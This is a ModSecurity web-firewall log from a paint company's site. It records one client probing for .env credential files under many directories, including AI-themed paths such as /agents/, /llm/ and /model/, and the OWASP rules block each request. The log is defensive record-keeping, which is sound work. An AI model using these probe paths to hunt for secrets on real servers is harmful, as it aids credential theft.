[Mon Oct 26 07:29:10.254658 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.19.176.196:37516] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at85hn3wwcXP35BsOaDu1gAAAAw"]
[Mon Oct 26 07:29:10.254965 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.19.176.196:37516] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at85hn3wwcXP35BsOaDu1gAAAAw"]
[Mon Oct 26 07:29:10.260998 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agents/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at85hp_dbg3ptBnwDgQ4JQAAAAM"]
[Mon Oct 26 07:29:10.261133 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at85hp_dbg3ptBnwDgQ4JQAAAAM"]
[Mon Oct 26 07:29:10.261344 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at85hp_dbg3ptBnwDgQ4JQAAAAM"]
[Mon Oct 26 07:29:10.298991 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agent/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at85ht-fnwNv3Luhiy4YRgAAAAE"]
[Mon Oct 26 07:29:10.299142 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at85ht-fnwNv3Luhiy4YRgAAAAE"]
[Mon Oct 26 07:29:10.299416 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at85ht-fnwNv3Luhiy4YRgAAAAE"]
[Mon Oct 26 07:29:10.332614 2026] [security2:error] [pid 3017653:tid 3017653] [client 34.19.176.196:37478] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/Content/js/whatsapp-button-scroll-handler.js"] [unique_id "at85hnFRwTfT0KsFZ4erogAAAA0"]
[Mon Oct 26 07:29:10.332650 2026] [security2:error] [pid 3017653:tid 3017653] [client 34.19.176.196:37478] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/Content/js/whatsapp-button-scroll-handler.js"] [unique_id "at85hnFRwTfT0KsFZ4erogAAAA0"]
[Mon Oct 26 07:29:10.339291 2026] [security2:error] [pid 3023343:tid 3023343] [client 34.19.176.196:37636] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /pipeline/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at85husSoQAaBNrI9tQz7QAAAAk"]
[Mon Oct 26 07:29:10.339512 2026] [security2:error] [pid 3023343:tid 3023343] [client 34.19.176.196:37636] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at85husSoQAaBNrI9tQz7QAAAAk"]
[Mon Oct 26 07:29:10.339854 2026] [security2:error] [pid 3023343:tid 3023343] [client 34.19.176.196:37636] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at85husSoQAaBNrI9tQz7QAAAAk"]
[Mon Oct 26 07:29:10.371430 2026] [security2:error] [pid 3017653:tid 3017653] [client 34.19.176.196:37478] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lib/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at85hnFRwTfT0KsFZ4erowAAAA0"]
[Mon Oct 26 07:29:10.371615 2026] [security2:error] [pid 3017653:tid 3017653] [client 34.19.176.196:37478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at85hnFRwTfT0KsFZ4erowAAAA0"]
[Mon Oct 26 07:29:10.371879 2026] [security2:error] [pid 3017653:tid 3017653] [client 34.19.176.196:37478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at85hnFRwTfT0KsFZ4erowAAAA0"]
[Mon Oct 26 07:29:10.376759 2026] [security2:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ml/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at85hk3DiqOFJPXX6P42zQAAABM"]
[Mon Oct 26 07:29:10.377017 2026] [security2:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at85hk3DiqOFJPXX6P42zQAAABM"]
[Mon Oct 26 07:29:10.377402 2026] [security2:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at85hk3DiqOFJPXX6P42zQAAABM"]
[Mon Oct 26 07:29:10.389070 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /scripts/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at85hj2qIoRfAL3Hx22jHQAAAAI"]
[Mon Oct 26 07:29:10.389228 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at85hj2qIoRfAL3Hx22jHQAAAAI"]
[Mon Oct 26 07:29:10.389455 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at85hj2qIoRfAL3Hx22jHQAAAAI"]
[Mon Oct 26 07:29:10.392241 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.19.176.196:37516] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at85hn3wwcXP35BsOaDu1wAAAAw"]
[Mon Oct 26 07:29:10.392388 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.19.176.196:37516] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at85hn3wwcXP35BsOaDu1wAAAAw"]
[Mon Oct 26 07:29:10.392626 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.19.176.196:37516] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at85hn3wwcXP35BsOaDu1wAAAAw"]
[Mon Oct 26 07:29:10.402721 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.19.176.196:37448] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /utils/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at85hgbLerFfv4dhcWT1AAAAAAY"]
[Mon Oct 26 07:29:10.402992 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.19.176.196:37448] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at85hgbLerFfv4dhcWT1AAAAAAY"]
[Mon Oct 26 07:29:10.403245 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.19.176.196:37448] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at85hgbLerFfv4dhcWT1AAAAAAY"]
[Mon Oct 26 07:29:10.404497 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at85hp_dbg3ptBnwDgQ4JgAAAAM"]
[Mon Oct 26 07:29:10.404562 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /data/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at85hk5VL05DK7ky7IO-hgAAAA4"]
[Mon Oct 26 07:29:10.404697 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at85hp_dbg3ptBnwDgQ4JgAAAAM"]
[Mon Oct 26 07:29:10.404749 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at85hk5VL05DK7ky7IO-hgAAAA4"]
[Mon Oct 26 07:29:10.404940 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at85hp_dbg3ptBnwDgQ4JgAAAAM"]
[Mon Oct 26 07:29:10.405040 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at85hk5VL05DK7ky7IO-hgAAAA4"]
[Mon Oct 26 07:29:10.405673 2026] [security2:error] [pid 3023343:tid 3023343] [client 34.19.176.196:37636] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /llm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at85husSoQAaBNrI9tQz7gAAAAk"]
[Mon Oct 26 07:29:10.405798 2026] [security2:error] [pid 3023343:tid 3023343] [client 34.19.176.196:37636] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at85husSoQAaBNrI9tQz7gAAAAk"]
[Mon Oct 26 07:29:10.406045 2026] [security2:error] [pid 3023343:tid 3023343] [client 34.19.176.196:37636] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at85husSoQAaBNrI9tQz7gAAAAk"]
[Mon Oct 26 07:29:10.406370 2026] [security2:error] [pid 3023344:tid 3023344] [client 34.19.176.196:37632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /model/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at85hvAWpsgTeulbP5bFEwAAABI"]
[Mon Oct 26 07:29:10.406558 2026] [security2:error] [pid 3023344:tid 3023344] [client 34.19.176.196:37632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at85hvAWpsgTeulbP5bFEwAAABI"]
[Mon Oct 26 07:29:10.406855 2026] [security2:error] [pid 3023344:tid 3023344] [client 34.19.176.196:37632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at85hvAWpsgTeulbP5bFEwAAABI"]
[Mon Oct 26 07:29:10.407636 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /internal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at85hujICF14JuwJz6aCLgAAAA8"]
